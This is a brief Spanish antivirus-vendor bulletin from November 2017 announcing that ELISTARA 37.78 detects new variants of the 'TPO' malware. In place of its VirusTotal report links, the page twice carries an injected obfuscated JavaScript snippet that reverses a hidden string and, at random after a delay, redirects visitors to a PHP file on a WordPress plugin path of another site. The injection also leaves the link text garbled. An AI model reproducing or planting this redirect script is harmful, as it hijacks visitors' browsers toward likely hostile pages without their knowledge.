NUEVAS VARIANTES DEL MALWARE TPO QUE PASAMOS A CONTROLAR CON ELISTARA

A partir del ELISTARA 37.78 de hooy pasamos a controlar estas nuestas variantes de este malware.

Se recuerda que queda residente y desactiva el Administrador de tareas

Subidos al virustotal, se obtienen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/0ee24ac4bc9fffd125d9b05db6d413fce000a1e2992f36cef0bd8ac4f10a5674/analysis/1509625261/” target=”_blank” rel=”noopener”>TPO(10).GXE

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/ef89c0dd468448a2906d5ed7202664ee538c345fd1c4716309e69d8d7bfdacd7/analysis/1509625722/” target=”_blank” rel=”noopener”>TPO(12).gxe

Dicha versión del ELISTARA 37.78 que lo detecta y elimina,e stará disponible en nuestra web a partir del 3-11-prox

saludos

ms, 2-11-2017